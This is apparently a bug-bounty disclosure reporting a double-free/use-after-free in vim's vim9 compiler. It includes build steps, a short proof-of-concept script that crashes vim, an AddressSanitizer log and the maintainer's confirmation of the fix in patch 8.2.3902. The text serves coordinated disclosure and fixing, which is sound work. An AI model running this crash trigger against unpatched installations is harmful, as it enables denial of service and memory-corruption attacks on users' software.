Use After Free in vim/vim

Valid

Reported on

Dec 25th 2021


Description

intro

While fuzzing, I found an edge case in the vim9 compiler for nested functions. It seems like you can make the compiler use the same line twice, by adding another command directly after an enddef token using the | operator. Depending on the inner functions body, this either results in an out of bounds read, or a double free.

Version information

Patch level: Included patches: 1-3890
Git commit:  d787e40fdbe6f4d8bf47d36186c1d9d51c29b853
Build commands:
  - stock:
       make distclean
       ./configure --with-features=huge --enable-gui=none
       make -j 4

  - asan:
       make distclean
       export SANITIZER_CFLAGS="-g -O1 -DABORT_ON_INTERNAL_ERROR -DEXITFREE -fsanitize=address -fno-omit-frame-pointer"
       export ASAN_OPTIONS="print_stacktrace=1 log_path=asan"
       ./configure --with-features=huge --enable-gui=none
       make -j 4

Proof of Concept

Save the following file as poc:

# Define an outer function
def FirstFunction()
  # Define an inner function
  def SecondFunction()
    # If the function has a body,
    # a double free is detected.
    # 
    # Commenting out the next line
    # turns this crash into a UAF
    # (READ of size 14 in reserve_local.c)
    AAAAA

   # enddef followed by | or } followed by
   # one or more characters, essentially
   # starting a new command on the same line
   # as the enddef.
   enddef|BBBB
enddef

# Compile all functions
defcompile

Next, run vim with the following command:

vim -u NONE -X -Z -e -s -S poc -c :qa!

This should cause a double free:

~$ ./vim -u NONE -X -Z -e -s -S poc -c :qa!
free(): double free detected in tcache 2
Aborted (core dumped)

Asan log

=================================================================
==15231==ERROR: AddressSanitizer: attempting double-free on 0x603000000df0 in thread T0:
    #0 0x7efd454bd7cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
    #1 0x55e6c83b7cb8 in vim_free /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:619
    #2 0x55e6c8865a9f in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:3167
    #3 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #4 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #5 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #6 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #7 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #8 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #9 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #10 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #11 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #12 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #13 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #14 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #15 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)
    #16 0x55e6c83b770d in _start (/home/rick/randomStuff/fuzzing/vim-fuzzing/pocs/asan_vim+0x12e70d)

0x603000000df0 is located 0 bytes inside of 23-byte region [0x603000000df0,0x603000000e07)
freed by thread T0 here:
    #0 0x7efd454bd7cf in __interceptor_free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf)
    #1 0x55e6c83b7cb8 in vim_free /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:619
    #2 0x55e6c883a37d in get_function_body /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:842
    #3 0x55e6c8842d73 in define_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4371
    #4 0x55e6c8866f4d in compile_nested_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:869
    #5 0x55e6c8866f4d in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:2857
    #6 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #7 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #8 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #9 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #10 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #11 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #12 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #13 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #14 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #15 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #16 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #17 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #18 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

previously allocated by thread T0 here:
    #0 0x7efd454bdbc8 in malloc (/lib/x86_64-linux-gnu/libasan.so.5+0x10dbc8)
    #1 0x55e6c83b79ba in lalloc /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:244
    #2 0x55e6c83b7a87 in alloc /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/alloc.c:151
    #3 0x55e6c879470c in vim_strsave /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/strings.c:27
    #4 0x55e6c8864f4b in compile_def_function /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/vim9compile.c:2612
    #5 0x55e6c8837238 in ex_defcompile /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/userfunc.c:4704
    #6 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #7 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #8 0x55e6c8724816 in do_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1420
    #9 0x55e6c8726aac in cmd_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:985
    #10 0x55e6c8726b02 in ex_source /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/scriptfile.c:1011
    #11 0x55e6c84f6adb in do_one_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:2572
    #12 0x55e6c84f6adb in do_cmdline /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:994
    #13 0x55e6c84f9d43 in do_cmdline_cmd /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/ex_docmd.c:588
    #14 0x55e6c8933b3a in exe_commands /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:3080
    #15 0x55e6c8933b3a in vim_main2 /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:774
    #16 0x55e6c89369fc in main /home/rick/randomStuff/fuzzing/vim-fuzzing/vim/src/main.c:426
    #17 0x7efd44c640b2 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x270b2)

SUMMARY: AddressSanitizer: double-free (/lib/x86_64-linux-gnu/libasan.so.5+0x10d7cf) in __interceptor_free
==15231==ABORTING

Impact

Use after free's / double free's can cause in memory corruption, that can cause a crash or other undefined (potentially exploitable) behaviour.

We are processing your report and will contact the vim team within 24 hours. 8 months ago
We have contacted a member of the vim team and are waiting to hear back 8 months ago
Bram Moolenaar
8 months ago

Maintainer


I can reproduce the problem, thanks for the repro script.

Bram Moolenaar validated this vulnerability 8 months ago
Rick de Jager has been awarded the disclosure bounty
The fix bounty is now up for grabs
Bram Moolenaar
8 months ago

Maintainer


Fixed this in patch 8.2.3902. It includes a test based on the POC.

Rick de Jager
8 months ago

Researcher


Thanks for the quick fix!

Bram Moolenaar confirmed that a fix has been merged on 9c23f9 8 months ago
Bram Moolenaar has been awarded the fix bounty
to join this conversation